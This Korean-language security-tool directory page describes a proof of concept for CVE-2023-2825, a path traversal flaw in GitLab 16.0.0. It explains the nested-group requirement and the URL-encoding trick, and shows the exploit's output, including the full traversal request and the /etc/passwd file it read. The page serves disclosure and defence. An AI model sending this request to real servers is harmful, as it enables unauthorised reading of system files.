Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-2825 — GitLab CVE-2023-2825 PoC. 이 PoC는 path traversal 취약점을 활용하여 GitLab 16.0.0을 실행 중인 시스템에서 /etc/passwd 파일을 획득합니다. | Kitploit
도구/GitHubGitHub/occamsec/cve-2023-2825
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHuboccamsec/cve-2023-2825

CVE-2023-2825

GitLab CVE-2023-2825 PoC. 이 PoC는 path traversal 취약점을 활용하여 GitLab 16.0.0을 실행 중인 시스템에서 /etc/passwd 파일을 획득합니다.

저장소 보기
140313년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

CVE-2023-2825 - GitLab CE/EE 16.0.0 임의 파일 읽기 (경로 탐색 취약점)

2023년 5월 23일, GitLab은 CE(Community Edition) 및 EE(Enterprise Edition) 16.0.0에 영향을 미치는 치명적인 취약점인 CVE-2023-2825를 수정한 버전 16.0.1을 릴리스했습니다. 이 취약점은 인증되지 않은 사용자가 경로 탐색 버그를 통해 임의의 파일을 읽을 수 있게 합니다. HackerOne의 버그 바운티 프로그램을 통해 pwnie이 발견했습니다.

이 글을 작성하는 시점에 공개된 개념 증명(PoC)은 없었습니다.

GitLab 권고

인증되지 않은 악의적인 사용자는 최소 5개 그룹 내에 중첩된 공개 프로젝트에 첨부 파일이 존재할 때 경로 탐색 취약점을 사용하여 서버에서 임의의 파일을 읽을 수 있습니다. 이는 치명적인 심각도 문제입니다 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).

하위 그룹

이 취약점에는 프로젝트가 최소 5개 그룹에 중첩되어야 한다는 흥미로운 요구 사항이 있습니다. 테스트에서 우리는 그룹 수와 탐색 가능한 디렉터리 수 사이에 직접적인 상관관계가 있음을 발견했습니다. 규칙은 N + 1인 것 같습니다. 즉, 10개 디렉터리를 탐색하려면 11개 그룹이 필요합니다.

표준 GitLab 설치에서 파일 첨부 파일은 /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>에 업로드됩니다. 따라서 파일 시스템 루트에 도달하려면 10개 디렉터리 위로 이동해야 하며, 따라서 11개 그룹이 필요합니다.

파일 업로드 및 경로 탐색

GitLab 이슈에 파일을 첨부 파일로 업로드하면 POST - /:repo/upload에 요청이 전송됩니다. 이 요청은 파일 URL이 포함된 JSON 응답을 반환하여 파일에 접근할 수 있게 합니다.

파일 URL은 /:repo/uploads/:id/:file로 구성되며, 여기서 :file은 파일 이름 자체입니다. :file을 임의의 파일 경로로 바꾸면 GitLab이 요청된 파일을 반환합니다. GitLab은 이 파일 경로를 삭제(새니타이즈)하지 못하여 경로 탐색이 발생합니다.

이 취약점을 성공적으로 악용하려면 파일 경로의 /를 URL 인코딩해야 합니다. GitLab은 이를 값으로 읽고 내부적으로 디코딩합니다. 인코딩하지 않으면 GitLab이 파일 경로의 /를 경로(route)의 일부로 해석하게 됩니다.

테스트 결과 /만 인코딩해도 Nginx 경로 오류를 우회하기에 충분했습니다.

인증

인증되지 않은 사용자는 중첩된 그룹 요구 사항을 충족하는 공개 리포지토리에서만 이 취약점을 악용할 수 있습니다. 리포지토리 자체에 접근하려면 인증이 필요합니다.

개념 증명 (Proof of Concept)

우리는 개념 증명을 Python으로 개발했습니다. 11개 그룹을 생성하고, 공개 리포지토리를 만든 다음, 파일을 업로드하고, 취약점을 악용하여 /etc/passwd 파일을 가져옵니다.

출력

root@kitploit:~
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

권장 조치

GitLab은 이 문제의 영향을 받는 모든 버전을 가능한 한 빨리 업그레이드할 것을 권장합니다.

참고 자료

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

https://occamsec.com/exploit-for-cve-2023-2825/

도구 다운로드